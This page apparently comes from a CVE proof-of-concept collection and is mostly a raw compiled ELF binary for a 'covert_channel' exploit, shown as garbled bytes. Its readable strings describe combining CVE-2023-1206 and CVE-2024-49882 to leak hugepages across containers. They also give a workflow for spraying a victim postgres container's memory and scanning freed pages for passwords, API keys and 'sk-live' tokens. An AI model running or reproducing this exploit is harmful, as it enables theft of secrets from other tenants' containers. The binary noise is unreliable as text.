4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / covert_channel
ELF>@*@�]@8
@('@@@����   �+�+PPPPlP|P|0�plp|p|��88800hhhDDS�td88800P�td�e�e�e��Q�tdR�tdPlP|P|��/lib64/ld-linux-x86-64.so.2 GNU���GNUy#��R�^Gu"'[܋a}R�GNU.�.12(�4Btu�e�m9����Qf�� [%�3~|;A4Ol� �^t�unDa�G�-VVe ���������!`|"������putcsetsockoptputsperrorstrncpyclock_gettime__stack_chk_fail__printf_chkfreeexitfcntlbindputcharmunmapfflushftruncatememmemsocketforkstrlenpthread_join__ctype_b_locusleeppthread_createstdoutoptargopenmalloc__libc_start_mainstderrin6addr_anylistengetopt__cxa_finalizeacceptmemcmpioctlclosewaitpidsignalconnectmemcpyfwritesyscallinet_ptonmmaplibc.so.6GLIBC_2.3GLIBC_2.3.4GLIBC_2.14GLIBC_2.4GLIBC_2.17GLIBC_2.34GLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTable�ii
�ti	�����ii
���������ui	�P| +X|�*������'�0`|/��.��2��1x~�~�~�~�~�~�~	�~
�~�~�~
�~�~�~�~�~�~ (08@HPX `!h"p#x$�%�&�(�)�*�+�,�-��H��H��_H��t��H����5B^�%D^@��h���f���h����f���h����f���h���f���h���f���h���f���h���f���h�r���f���h�b���f���h	�R���f���h
�B���f���h�2���f���h�"���f���h
����f���h����f���h��f���h���f���h����f���h����f���h���f���h���f���h���f���h���f���h�r���f���h�b���f���h�R���f���h�B���f���h�2���f���h�"���f���h����f���h����f���h��f���h ���f���h!����f���h"����f���h#���f���h$���f���h%���f���h&���f���h'�r���f���h(�b���f����%]fD���%�[fD���%�[fD���%�[fD���%�[fD���%~[fD���%v[fD���%n[fD���%f[fD���%^[fD���%V[fD���%N[fD���%F[fD���%>[fD���%6[fD���%.[fD���%&[fD���%[fD���%[fD���%[fD���%[fD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%�ZfD���%~ZfD���%vZfD���%nZfD���%fZfD���%^ZfDH�=�*�4�����������H�=�*������H�=�*�����D$�����	f.�@��AWL�=U.AVE1�AUL�-b.ATL�%?U��SH��H��8dH�%(H��$(1��D$L��H�މ�����������L��*w
Ic�L�>��H�;� 1�H��$(dH+%(��H��8[]A\A]A^A_��D$�L�=4ZA��A��A��y���H�5Z�?H�=�Y�Q�����Y�U���A��J���A��?���H�=h;�3���H�=$<�'���H�=`<����H�=�<����H�58����A���A���A�����izH�YH�5-1����������A���cA���A����H�5�,L���1�����L�����L��H����H�=n-�a���H��YH�5o-1�����H�pYH�5n-1���}���H�^YH�5m-1���c���H�LYH�5l-1���I����T����A�����\$H�5Y<�1��������޿����H�;��@���H�
fX�"�H�=M<�������H�=3,�z�����������@B���L�����L��H���1�����1�H�|$ ��1��H�H�\$ H�T$�H�T$H���*����H�=r+�����T$H��1�H�5w+��<���H�=l+����n���������\$H�5;�1���������1������1�H�|$ ����H�H�l$ 1�H�T$H��H�D$���t!1�1���������H�=+�]������H�=+�L���L���1�H�5+���L�d$H��1�H�5+�D���h���L���P���H��)I9�u"L��H��L�����H�[)��H�q)HE�H�5�*�1������Q�������D��1�I��^H��H���PTE1�1�H�=Q����[U�f.�H�=	VH�VH9�tH�>UH��t	�����H�=�UH�5�UH)�H��H��?H��H�H�tH�
UH��t��fD�����=�Uu+UH�=�TH��tH�=U����d�����U]������w��������TÐ��U1Ҿ�
SH��HdH�%(H�D$81��D$�����������H�l$��A���H����t������H��A��Z���f�H�t$���o
�P�H�D$$D$�D$
ziL$�r������j�������.������1��������T��T��t-1�1��������x���R����d�����T��u։��7���H�D$8dH+%(u	H��H1�[]�����f���H���.AWAVI��AUATUH��S1�H���7�T1��H�5g#���I��twI�F�H9�tQH��I9���I��A��u�H��H�5+#�1��U����TH�5#1���=���I�F�H9�u�@H�5#�1�I������I��u�I��H�5�"�1����I���L9�r7����A�.I��fDB�L-I�H��DH@AD�I���R���L9�s�H�=�"H���]���I9��0���H��[]A\A]A^A_��@����1�5�
 ��
 �H��7�WH�G�ff.����AW1�H�A���1�AVH�=�RAUATUSH��HdH�%(H�D$81���R�=����D$���J������A�dE1����H�=''L�t$��f�H�T$H�5�!�
�D$
ziH�D$$D$�m���D1Ҿ�
���A�Dž�xG1H�� ��L��D��H	�H�պ����1H�� ��D��H��H	���L��H)�I���I���A��u�I��H�5?!�H��(\��(I��1�H��H��Q�$���H�D$8dH+%(u�D$H��H[]A\A]A^A_���ff.����H�=}Q1��yQ���@��ATf�H�5�PUHc�
SHi�@BH��@dH�%(H�D$81�H�T$I��D$H�D$$�D$
zi�'�L���J�Hi$ʚ;HD$H��)��P��t61Ҿ�
�5����Å�yGL����Hi$ʚ;HD$H9�r�H��PH�D$8dH+%(u*H��@[]A\��H�t$����g��������f���AWf�
H�5�OAVE1�AUA�
ATUSH��8dH�%(H�D$(1�H�T$D$I��H�D$�$
zi��1Ҿ�
�O�Å�xE1H�� ��L����H	�I�Ժ��1��H�� ��H	�H���W�L��'I��M)����A��u�H���������f�I��H��OH���H*�H��xHf���H*��^�H��O1�f/�3��H�T$(dH+%(u1H��8[]A\A]A^A_��H�ƒ�f��H��H	��H*��X���p���SH�=x1��
���2���{�����t��u�P����$��u�[�ff.�f���AVAUATE1�UHc�H�=`#SHi�@B�����H�� dH�%(H�D$1�I����L������MLi,$ʚ;Ll$��tIL�����Hi$ʚ;HD$L)�H9�r^�������t9�t
A��A��t�ËFM��u�D��H�5�"�1��\�1�H�T$dH+%(u%H�� []A\A]A^�DH�=`����������� ���AU�T�?H�5PATUSH��(dH�%(H�D$1��l����� ��H��A�����������	��1����H�=�1����Ņ���fo�1��H��1��Bu@�$�D$D$���Å�xkE1�A����� 1��_���I�������~�D���v�I���t(H�D$dH+%(u1H��(L��[]A\A]�f�D���H�E1������9�D���1������f.���AV�T�?H�5$AUATUSH�� dH�%(H�D$1��*����H�þ ��A�������1��	�M��H�=�1����Ņ���fo�0��H��1��Bu@�$�D$D$�g��Å���E1�A����� 1��!�I��H���th� ��I��H��t� L��H����� L�������������D����H�D$dH+%(u<H�� L��[]A\A]A^�����������D�����E1���D�������r�f���AWE1�AVL�� AUATE1�U1�SH��H��H�|$�t$dH�%(H��$�1��6����H��A��H�6�DF@uA�U�1���wA��1�H��L9�tD�+E��uą�u�H��A���L9�u�f�ɹ ���*��/�H�5V�Y��L$�Y�.��f��tf��L$�A*��Y�.�^�D���H�50�[�D���1�H�5�E�H��H�
�HDŽ$�fHn�fHn�H�
�fl�H��fHn�D$(fHn�H��fl�H�
mfHn�D$8fHn�H�rH�
`fl�fHn�H�iD$HfHn�fHn�H�
Nfl�H�VfHn�D$XH�D$fHn�fl�H�
0D$h�fHn�fl�D$x=�����=ᆳ���H�=wL�d$(E1����H�-��L�=��DH����H��L�t$H�� L����H��H��t0L)�H��L���H��1�����T$��u[A�f.�I�,$I��H��u�E����D$���H��$�dH+%(�H�Ĩ[]A\A]A^A_ø H��H9�HC�L�p��]�H�5��H�\@� H9�HG�1��I�I9�sm��L�-�H��H�D$I�H��"�H�5IG�.�o�I��L9�t/A�6H�EH��Dp@u4@��t�L��1�I�����L9�u�H�=��{����fD@��H�5�F���H�=O�R��D$�����H�=��:�H��$�dH+%(��H�|$H�Ĩ�[]A\A]A^A_��H�=L��H�D$�H�5�X�P1��)���H�51�����C�=������H�5�1��.������I��H�D$L�`L�A�$I�H��DJ@D�I�����K�I9�u�H�=��Z��O���H�=��I��>�����ff.�@��AWAVAUA��H�=4ATA��USH��(��H�=M��H�=����H�=����E�����D$1�1��D$�pf��؉�Hi���QH��%k�d)�D	�u-D�L$D�D$��ڿH�5]1����H�=�D������E���_��D���Q������f��H��I��t�D�8��f��f��I��A��������A��ᆳ���	�L����ofo�H��ft�ft�fd�fo�f`�fh�fo�fe�fo�fa�fi�fo�f��f��fo�fe�fa�fi�f��f��H9�u���t4�D$A�������5��H�5p�1����L���L����fo�fs�f��fo�fs�f��f~Ƀ�d��E��tDž�~�E����H�5�1����H�=�C�C�L��������Q�E�������H�=�����H�51���7���H�51���"��T$�1�H�5���T$�1�H�5���f�f��H�5��*ſ��Y(�*�H��([]A\A]A^A_�^���A�FE�~��H�5��D$1��������H�5�1���{�D���1�H�5��e�D�|$H�5�1��D���J�D����=��e���H�5��1�E1��#���I�N�\$�l$H��H���	A���w0�;H�U�.�Dz@H��D�A��H�����j��D$A9�r�H�=��\$�l$�m�����ى�H�5u�1��D$��H�=��@�D���1�H�5�z�D��L��������H�=S���*���f���ATA��UH��H���7�WD�GH��tM��u\I��tuH��J�t1�@�H���H9�u�UI����wD����D1�B�DI��I�� u�H��]A\�f�L��H�H��L�D$�\�L�D$I��u��E����I��1ҁ?����u,�G=w"H��t�W�H��t��H�1M��t��u����H�w��s'�uV��t��WA��t��T�fA�T����H�WI�xH��I���H�L�I�L�L��H)��H)։�����H�땋WA��T�A�T��ff.����ATH��I��1�U�H��H�5�S1���H�=��^��@�2�������t��u�P����t���u鿠��e��P�H��H����@I��L��H�߾���ʍP��?��H�=K��������H�5Z1������?H�5j1����H��1�H�5_���L���H�5\1����H�=(�{������H�=R�e���k�H�=|�O�� H���������6?H�5�1���o�H�=���1�[]A\�H�==���������f���AWAVAUATUSH��HH�<$H�=�H�t$H�T$dH�%(H�D$81����'������TH�=�1����f��������������1'��u'��=��u�H�=F�]��
���t�H�=UL�t$ 1�1��7�1�E1亾���H�5v�I���T�b�L����5��=Lil$ ʚ;Ll$(���5f�L�����HiD$ ʚ;HD$(L)�I9����'�����I��H�������H��f��f��f���ofo�H��ft�ft�fd�fo�f`�fh�fo�fe�fo�fa�fi�fo�f��f��fo�fe�fa�fi�f��f��H9�u�fo�1�fs�f��fo�fs�f��fA~�A��d��Aā�������i��x�&��=n���L������d����;������H�=������H�5�1��������H�5b1������D��1�H�5����H��H�5�1����������H�T$8dH+%(��H��H[]A\A]A^A_�A���H�51��L�T$�Y��L�T$�+���1��ٺ���ʿH�5jL�T$�0��L�T$A�:���������A�BA�R=���H�<$A��t����L9D$����H�D$H�=BL�T$L�$L��T$�}���T$�1�H�5l
���H�$�1�H�5e
���H�|$����d�{��H�=V
�/����H�5\
1���j����H�5�1���U��D��1�H�5E
�?��H�T
H�5Q
1���%��1����I�r��s5�uq������A�JH�<$�������B�D�H�4$fB�D�����H�<$I�JH�J�L�J�L�H��H�H��H)�H)�����H��������A�BH�$�B�D�B�D�������SH��H�5�H��1���b��H�=����H�=?���H�=c����H�=�����H�=�����H�=�����H�=���H�=b���H�=3���H�=o���H�=����H�=<���H�ڿ1�H�5����H�ڿ1�H�5����H�ڿ1�H�5����H�ڿ1�H�5��z��H�=����H�='���H�=K���H�ڿ1�H�5}�@��H�=�����H�=�[�������AWH�=�AVAUATUSH��hdH�%(H�D$X1����H�=����H�HH�GH�D$HfHn�fHn�H�6�$fl�H�=fHn�D$fHn�H�fl�H�
fHn؋P7D$(fHn�flÉD$D$8�����D$�:��$�$i��x�&��=7�A�u�������6�����8�H��H��t�L�d$�H��
�!DI�$I��H����H������H��H�ھ H���\��H��t�H)�H�ڿ�dI��H��H�5�1����I9߸ H�=.
IC�I���H��dI9�LG��)��L9�sM�O��L�tJ�\=I�����
t��uwI��L9�t'A�I�EH��DH@t�H�5e6I�����L9�u�H�=�	I������I�\$��D$H�������}������H���o�����f.�H�5	6�.�/���s���f.��L$�$H�521�����H�=�5�j���`���DH�D$XdH+%(���$�T$H��h�[H�5]1�A\A]A^A_�T��@�]�UH�5�1�����5���C�=�v
�D$�*���H�5�1�L�eE1��A�.�������I����A��?L�D$w.A�4$I�L�D$�Dq@H��AD�A��I�����L��A9�rǿ
�=��������H��H���sync socketsync bind%04zx: %02x  |   pthread_create sync::1[Sync] Baseline: %lu cycles
[Sync] Sending preamble...[Sync] Preamble timeoutcovert/dev/udmabufleakPOSTGRESFLAG{CTF_FLAGSECRETAPI_KEYsk-liveCOVERT_MSGpostgrespsqlSELECTINSERTCREATE    Zero runs: %d
      [FOUND]   Sequence: %u
      [FOUND]   Length:   %u
      [FOUND]   Data:     "    Pattern scan:      Context: "\x%02x    First 256 bytes:    Sequence: %u
    Length:   %u
    Message:  "    Magic: 0x%08X


[LeakDebug] === Summary ===    Total attempts:     %d
    Hugepages captured: %d
    Covert channel:     %d
    Potential leaks:    %d
[TX] Transmitting %zu bytes
[TX]   Seq:   %u
[TX]   Len:   %zu
[TX]   Data:  "%.*s"
[RX] No data signal received[RX]   Seq: %u
[RX]   Len: %zu
[RX] Scan complete:[RX]   Attempts:       %d
[RX]   Non-zero pages: %d
YES[RX]   Found data:     %s
NOUsage: %s [options]

Modes:
Options:
Examples:
Leak Testing Workflow:POSTGRES_PASSWORD--- Context ---
--- End ---    Data: Hello from covert channel!s:rT:tmlLvh[Config] Sync target: %s:%d

Sending: "%s"


=== Received Message ===%.*s
========================No message receivedRunning self-test...

=== Results ===Sent:     "%s"
Received: "%.*s"
Match: %s

=== Statistics ===Sync bits sent:     %lu
Sync bits received: %lu
Sync errors:        %lu
Data errors:        %lu
[Sync] Calibrating baseline latency...[Sync] Waiting for preamble...[Sync] Preamble detected (%d transitions)
    Non-zero bytes: %d / %d (%.2f%%)
    Printable chars: %d (%.2f%% of non-zero)
      [FOUND] MAGIC 0xCAFEBABE (Covert Channel Data Frame!)      [FOUND] MAGIC 0xDEADBEEF (Covert Channel Sync Frame!)      [FOUND] '%s' at offset 0x%zx
      (no known patterns found)[LeakDebug] Starting hugepage leak analysis...[LeakDebug] This mode analyzes what data is present in newly allocated hugepages[LeakDebug] Run memory-intensive operations in victim container to populate hugepages[LeakDebug] Then stop the victim to release hugepages for capture
[LeakDebug] Continuous mode - press Ctrl+C to stop

[LeakDebug] !!! COVERT CHANNEL DATA FOUND (HP #%d) !!!
    Magic:    0x%08X (CAFEBABE)

[LeakDebug] Found SYNC frame (0xDEADBEEF) in HP #%d

[LeakDebug] === Potential Leak in Hugepage #%d (attempt %d) ===
    Type: LEAKED DATA (not covert channel)
[LeakDebug] HP #%d: %d non-zero bytes, magic=0x%08X    
[LeakDebug] Attempts: %d, Captured: %d, Covert: %d, Leaked: %d        Capture rate:       %.2f%%
[TX] Failed to allocate hugepage[TX] Data written to hugepage:[TX]   Magic: 0x%08X (CAFEBABE)
[TX] Sending ready signal (receiver should start scanning)...[TX] Waiting 2s before release (receiver should be scanning)...[TX] Releasing hugepage (CVE-2024-49882 trigger point)...[TX] Transmission complete (seq=%u)
[TX] Receiver should now capture the leaked hugepage![RX] Waiting for transmission...[RX] Waiting for data signal...[RX] Scanning for data (allocating hugepages aggressively)...[RX] Looking for magic 0x%08X (CAFEBABE)
[RX] !!! FOUND MAGIC 0x%08X at attempt %d !!!
[RX] Successfully captured data![RX]   Captured:       %d hugepages
[RX] Attempt %d: magic=0x%08X, non_zero=%d, captured=%d
  -s MESSAGE    Send message via covert channel  -r            Receive message via covert channel  -t            Self-test (both send/receive)  -m            Monitor mode (passive leak detection)  -l            Leak debug mode (analyze hugepage contents)  -L            Leak debug continuous (keep scanning)  -T ADDR       IPv6 target address for sync channel (default: ::1)  -v            Verbose output  -h            Show this help  %s -r                         # Receive covert message
  %s -s 'SECRET'                # Send covert message
  %s -l                         # One-shot leak analysis
  %s -L -v                      # Continuous leak scan (verbose)
  1. Start victim:    docker run ... postgres  2. Spray memory:    docker exec victim psql -c "SELECT ..." (repeat)  3. Start scanner:   %s -L -v
  4. Stop victim:     docker stop victim  (releases hugepages)  5. Watch for leaks in scanner output[Monitor] Starting passive hugepage monitoring...[Monitor] Press Ctrl+C to stop

[!] Found pattern '%s' at offset 0x%zx

[!] Found covert channel frame: seq=%u, len=%u

[Monitor] Attempts: %d, Found: %d    

[Monitor] Complete. Found %d items in %d attempts
╔════════════════════════════════════════════════════════════════╗║  Combined Covert Channel: CVE-2023-1206 + CVE-2024-49882       ║║  Sync: IPv6 Hash Collision | Data: Hugepage Cross-Container   ║╚════════════════════════════════════════════════════════════════╝
[Config] One-shot leak analysis (verbose=%d)

[Config] Continuous leak scanning (verbose=%d)

Failed to initialize sync channel
���L���L���L���L���L���L���L�������L���L���L���L���L���L���L���L���L���L���L���L���L���L���L���L���L���L���L���L���L���L���L�������5��L���L���L���L��������������L������@Y@�> ;�`������@���X�����ɿ��|�����p��p����������0��,������������ ��0p��Lp������� ����x@����������P��4��p��zRx�x��&D$4@����FJw�?9*3$"\����t���������(����7E�M�D`
CAA���)`��L����<O�B�E �B(�A0�D8�F@
8A0A(B BBBA������4���$LH���dF�M�I �B(�A0�A8�D�0
8A0A(B BBBA�E��������������0���F�L�I �K`�
 AABHH���PF�R�E �H(�A0�A8�Dp�
8A0A(B BBBHL���CE�}@h��F�B�B �D(�K0�PP�
0A(A BBBF8����6F�S�A �A(�DP�
(D ABBC@����nF�S�B �A(�A0�DP
0D(A BBBDd,���F�E�I �B(�D0�C8�J��
8A0A(B BBBA
8F0A(B BBBEH����'F�B�B �L(�D0�A8�D`�
8A0A(B BBBI(�t���F�D�G0b
ABJ����, ����F�I�P �a
ABALP���F�B�B �B(�A0�A8�D��
8A0A(B BBBA����YE�OL����zF�I�B �B(�A0�A8�D��
8F0H(D BBBIH�����F�I�E �I(�H0�C8�J�n
8A0A(B BBBA +�*� 
�KP|X|���o���
`~��� 	���o���o8���o�o�
���op|0 @ P ` p � � � � � � � � !! !0!@!P!`!p!�!�!�!�!�!�!�!�!"" "0"@"P"`"p"�"�"�"�"�::1GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0L0+z `%B�%��lEQ�
�* FK
�	#Y
(&R�
�(YGintH�
$*DL
�-*
B��
��
���
���
��D
���
d�!�#

#
�D*��1�	�3�	�6	
	�	7	
	�8	
	�9	
 	M
:	
(	�;	
0	<	
8	i=	
@	�@	
H	�A	
P	dB	
X	-D�`	F�h	�	H�p	�I�t	�J�x	MY�	'	Ne�	�O��	�Q��	�Y
��	R[��	�\��	]��	r^	K�	n_
8�	�`��	�b�
�	1I�+6��1�*�6O�6��* �0

�0�
�G`
�a�
��*�
�	�

�		
�
�*J�88�+0:�+;��*7
�>�#���K
*l#�
�
&�
��L%
0�	$

E	HNSM^�ND!/�o���	G �@@�9�6JOvD$
�����y�
P�u
-Y*��=	�
	j�
=M*
Q,�,�
,	�,�

,�#,V
�
P
�<O
)T
�<S
�
}R��+7�
�+�	�+n
��**#**��=	�
�	�##0�
�=^*?-�3
N	@�S[4�*�I�	dJ	�K	�L	2MThV	Z	�X	�	�Y�	Z�	�[	�^	� 		a$	xb
Z(	=
eH	2fP	gX	�h`�j*
7i�-�kj	�-l�	 ���U*��1��"�j�������@���8Vi
�
*�W�
��XBR�B&[�r�rc�D�D=�	��K�

����
d�����K��8�8s	�8	9L�*	K8�KA	8X
��a	��
�|	�>�%>#!9K�	K8�����*��	�*d��	���	C�
�[
!�#
W#
c�	��C
�C
KU~�h
��$2:��
�M����
�
�
�
M��
��
�
YK�
Kb���
�T	2�
��$
� ��3���(�O���
f�f��p����$n������$='
n�l	f�����4���Z�!O#F ����%��4����1�p��	���
0,/�	�QM
opt�	�kg�=1Y���w2len8��wF^�(�(!"
U^���(�`U	gTF^�(�("|
U^��)�U2T	�TRsF^))#�
U^�� )�`U	�TF^�)�)%U^���)�`U	�T�(�$UsT
Q��w�
pid.K���a1Y6���w2len78��wF^�)�):�U^
�)�`U	�TF^�)�);,U^�)�U2T	�TQF^�)�)<�U^64�)�U2T	�TQ|RvF^**=�U^NL1*�U2T	�T�)�$UvT
Q��w�)�(UsT0Q0�)�@U
*�`UTvQ|F^z(z(,
�U^fd�(�`U	�T�(*�(�
�U@B�(��U�(o.U�(U0�]�&�&�
��]zx.�]�]���&�`U	@�Q?F^�&�&��U^���&�`U	0bF^�&�&�!U^���&�`U	�bF^�&�&�pU^���&�`U	@cF^�&�&��U^���&�`U	�cF^ ' '
'U^��?'�U2T	9TQ	@�R
izF^j'j'	�U^	�'�U2T	WTQF^�'�'M�U^#!�'�`U	UF^�'�'N$U^75�'�U2T	UF^�'�'OxU^OM�'�U2T	5UF^�'�'P�U^ge�'�U2T	NUF^�'�'Q U^}(�U2T	gUF^((	zU^��5(�U2T	�dQsc^S(S(	�~^��.r^p(RcU	�dT1Q"F^/)/)	3U^��H)�U2T	PdQs
&RWUvTsQ}0&['7�U2T	0+D'�T�'��U�'o.�U(�TA(�5�U1TsN([*)4Q)�5&U0Ts;*[c$�0Hz�K��K��z	�	��)�	�A7�Q
hp�Kzr��[	����	
i�����S�
40��
off�8PH&�8sq
end�8��/�
j�!8��A
c�!����^JY�6��^��$J��^pJpJ �*��^���J�U.�I�F^�I�KU^���I�U2T	haRF^�I��U^�I�`U	�SF^)Ji�U^9J�`U	�SqI��Us�I�UvT@A$Qs!K��
seq�0.
len�@>��
i�#VN�
c�!�ywF^�K���U^���K�cTK�F^KK�U^��K�U2T	�aRsF^/Ky�^U^��OK�U2T	T/F^�K�K�U^���K�cU:aJ�UvF^�J�J�
U^���J�U2T	�aQ��~�R��~�%I�
6U
�8I�H�J�F^YH���U^��^H�`U	aF^^H^H��U^
jH�`U	HaF^�J��U^"?�J�<U2T	�aQ��~�R��~��K[c[*$uf�FY��$�fRJF^�Ffh�U^xv�F�U2T	�SQsF^�F�Fi)U^���F�`U	�SF^�F�FjxU^��G�`U	@]F^GGk�U^��G�`U	p]F^GGlU^��G�`U	�]F^GGmeU^��*G�`U	�]F^*G*Gn�U^��6G�`U	^F^6G6Go U^BG�`U	P^F^BGBGpR U^NG�`U	�SF^NGNGq� U^0.ZG�`U	�^F^ZGZGr� U^DBfG�`U	�^F^fGfGs?!U^XVrG�`U	�^F^rGrGt�!U^lj~G�`U	�SF^~G~Gu�!U^�~�G�U2T	_QsF^�G�GvB"U^���G�U2T	P_QsF^�G�Gw�"U^���G�U2T	�_QsF^�G�Gx�"U^���G�U2T	�_QsF^�G�GyE#U^���G�`U	�SF^�G�Gz�#U^���G�`U	`F^�G�G{�#U^		�G�`U	@`F^�G�G|=$U^		H�U2T	�`QsF^HH}�$U^4	2	H�`U	�`F^Hy~[U^��f7)H�`U	�`$�`0+��$\sig`�U ��B��`.Y�`.L	F	.�-8s	m	I�=e.�	�	\�	��	�	C	�

)	�O
C

	��

�		��
�
�	�
�
��
�
�"&
i��2*uB�P�B�
U��1�)
hpKeS[	)��',
���
p-j.�S�&
i.�WUs>)%seq8
len98keF^E�;
'U^�� E�U2T	�\Q����|Rs4 E�=E(Q4��.E494��-4


�]43
)
g4g
_
r4~4�4�442E��Q4�
�
.E494�
�
-4�
�
�]4g4r4 ~4K=�4���4�]2F��^��^��.^F^~E�A�(U^
�E�`U	�\F^�E�EB�(U^#!�E�U2T	SQ���/F^�E�ECU^;9�E�U2T	SQ��F^�DcG
�)U^SQ�D�U2T	]QsYvXC�H4D�>D�
�)Ud�E��)U���E�
UdF^GB��6*U^kiLB�`U	�[F^^B��y*U^}lB�`U	�[F^�B�B	�*U^���B�`U	�RF^�B�+U^���B�`U	\$]�BN+&4]���B
U1T~F^�B�+U^���B�U2T	P\Q����|$] C C"�+&4]��-C
U1T~F^�DUo,U^���D�A,U2T	pSQ	�S+F�U2T	pSQ	lSF^LDQ�,U^�XD�`�,U	"S�E�`U	"SF^XD0RI-U^%!mD�"-U2T	6SQs�E�U2T	6SQsF^mDBS�-U^QM�D��-U2T	�\Qv�E�U2T	�\QvF^�DTT9.U^}y�D�.U2T	QSQ|F�U2T	QSQ|VBNR.U
'�F[c�8� S��p@��4�%j.��3len�58��
hp�KF^t@��/U^53�@�U2T	�RQvEP�@���/]SP�|/TPWK�@�Rf/U2�@�
U
P�/F^�@�@:U^���@�`U	dPF^AA�0U^��A�`U	`ZF^AA�u0U^��2A�U2T	�ZQ����|F^2A2A��0U^��KA�U2T	�RF^KAKA�#1U^��aA�U2T	�RQvF^aAaA��1U^��yA�U2T	�RQvR|F^yAyA��1U^�A�`U	�ZF^�A�A�!2U^" �A�`U	�ZF^�A�A�p2U^64�A�`U	([F^�A�A��2U^JH�A�U2T	h[F^�A�A�3U^b`�A�`U	�[F^�A�A�	b3U^vtB�`U	8Z�@�
}3U���@�KA�4�3UsT����|R|Xv�A�R�3U��Aw�3U2�A	4UsT@A$�A�RU�^����44H�$�4|�8�44[�!`.4=	�3e.%p�j.8[	�%seq�%len�8��8��@%i�8$Qw?���5HwK��[	w2��3seqwB��mx(j./'3lenx58bV
pz`.������'u5
i�8��:�5
i�8�]�?J�	^,(^EA^b\�?xiUvT�RQ�X$��:'�@z
��/*���)&	���!
'	�-#(	�][<)	�smu�<
hp,K����;[	3���4��'7�/-
p8j.A=!�;k"7
i98ZX!�=��9
seqAjh
lenByw��7
iK'���
cL%���F^f>�M�7U^��v>�c2>�F^�=�D#8U^���=�U2T	xXQvF^�=�=E�8U^���=�U2T	�XQ����|F^�=�=F�8U^�=�U2T	�QQF^�=�=G59U^(&>�U2T	�QQF^>�J}9U^@>->�U2T	�QF^�>�OU^XV�>�`U	vQF^g<g<R:U^lj|<�U2T	�XQvF^�<�<\w:U^���<�U2T	�YQvXF^�>V�:U^���>�U2T	YQvRsF^�>�>X;U^���>�`U	`YF^�>�>Yt;U^���>�U2T	�QQ�<��;U~�<��<��;U~�>@U~T|F^Y;Y;!e
><U^��z;�U2T	�YQsRvX���Y����;��;�
d<U
��;�H�<�
U
�F^�:b�<U^���:�`U	WF^�:�:=U^
;�`U	HWF^;;h=U^ ;�`U	�WF^;; �=U^42;�`U	�WF^�<�<n>U^HF=�`U	�QF^==o`>U^\Z=�U2T	RQsF^==p�>U^tr.=�U2T	8RQvF^.=.=q?U^��E=�U2T	TRQ���F^E=E=rt?U^��\=�U2T	pRQ���F^\=s�?U^��7�=�U2T	Z/F^�>�>#	U^���>�`U	@X$���5���H3hp�)���/�1�
p�j. '�	�?7Q�	�kc		�	���s�	������H��[	�
�	�	�0*!#6WA
i�8PN-6��KC
seq�`^
len�tr��A
i���
c����F^�:2��AU^���:�cg:�F^�9�9�	BU^��	:�`U	PVF^:B�	]BU^��':�U2T	 QF^':':�	�BU^��<:�U2T	>QQsF^J:R�
�BU^��b:�U2T	\Q/F^�:�:�
U^�:�`U	vQD	F
i��4$YS�
��k�E
off�8��!�8��E&8��
end8����D
j8�
c�F^a9�LDU^IGt9�U2T}�^0909&�D�^a_A9�U.�^�9�%�D�^tp�9�9�F^9� EU^��9�U2T	�QF^y9y9
oEU^���9�`U	vQ�8�UvF^S8��
U^��h8�U2TQvRs08��EUvH8�U~T@A$QvF^�6��FU^���6�U2T	�UQvR@A$a��~�1�1Y@�1�>F^�6�6��FU^���6�U2T	 VQ|F^�6�6�4GU^7�U2T	
QQF^�74�wGU^8�`U	xQF^�9�9	�GU^/-�9�`U	�VF^�9�9	HU^CA�9�`U	�QF^�:�:�	dHU^WU�:�`U	�V?�9�Z�HU��~T
�:[c�H*
 `�Kp4n��Kd�	�qi��	���2c����
dma�	�����K����Kd]�4�4��I]0.s]@>�4A	U	�PT2�]Z5Z5�J^XV^jh^{wj5xiU|T~Q@A$�4�	6JU
?T	�PQT�4�	UJU}T@A$�4yJUsT
	Q25�	�JUvTBu@Q��?5�	�JU0T@A$Q1R1XsY0R5*	�JU@A$w5	KU~T@A$~5O$KUs�5O<KUv�5OTKU}�5OlKUs�5O�KUv�5O�KU}�5O�KUs�5[c =fK036�Ndh	����r	���2cx���
dmay	�����K
	d]�3�3r�L]#!s]31�3A	U	�PT2d3�	�LU
?T	�PQT~3�	�LU|T@A$�3MUsT
	Q2�3�	=MUvTBu@Q��4�	pMU0T@A$Q3R1XsY04O�MUs4O�MUv4O�MU|H4O�MU|W4O�MUv_4ONU|f4[c *
E�02�EPE�OI	I	�rl�J	���&K���L��WO
bitT
�  $]�2�2O
�N&4]���2
U1T~F^33P
IOU^( & $3�`U	P�2�PF^i2�G�OU^< : q2�`U	�U$]q2�K�O�&4]��~2
U1T~F^�2�2[7PU^P N �2�U2T	�UQ|03[c_>8�P@%i;�2�RvPU22�
U
P� ���0P��R1�M���	l f `? 	�
aG!	�'
avg0� � �11� � �[R
i#�� � �i$
�� � 
t1'!� 
t2)!!?]1�'�Q�O]/!-!Y]>!<!?]$1�)�Q�O]M!K!Y]\!Z!1�	RU:T1Q0$1H
,RUsTQL91ODRUsL1�
U
'�]�0m�R�]k!i!�]{!y!�]�!�!�0h
�RU}T	@�Q���1[c5���/��T9���!�!1�M��
end�!�!�	��!�!]�Si
��!�!0�~SU:T
Q0y0H
�SUsT��QL�0OUs�]�/:�S�]""�]!""�]1"/"$]�/M<TM&4]���/
U1T|$]!0!0
�T&4]��.0
U1T|�/h
�TU:T	@�Q���0[c5��`/��T7|/(
T0A������W'�	�I"A"'?�	�o"m"-��M���uV"i���""�'i�
��"�""t1��"�""t2��"�"?]�.���U�O]�"�"Y]�"�"?]�.�VO]�"�"Y]�"�"�.�#VU:T1Q0�.H
FVUT~QL�.O^VU�.�
U
�F^R.���VU^
##c.�`U	�U�]c.��V�]!##�]1#/#�]A#?#F^'/'�?WU^P#N#,/�U2T	GP3.�
uWU	�T0Q	@+R0R.�
�WU���.h
�WU:T	CPQ��T/[c�%�U	/PA��K�EZBarg� Kl#f#'��	��#�#-��M��bopt�	���!(, �X'�
�
��#�#3,�
�XUsT0Q0>,OH,�
Ud�]�+"��X�]�#�#�]�#�#�]�#�#s+�YU:T1Q0�+�9YUsT1Q2RvX4�+�fYUsT1Q?RvX4�+f�YUsT��QL,3�YUsT
,�YUsT4Q
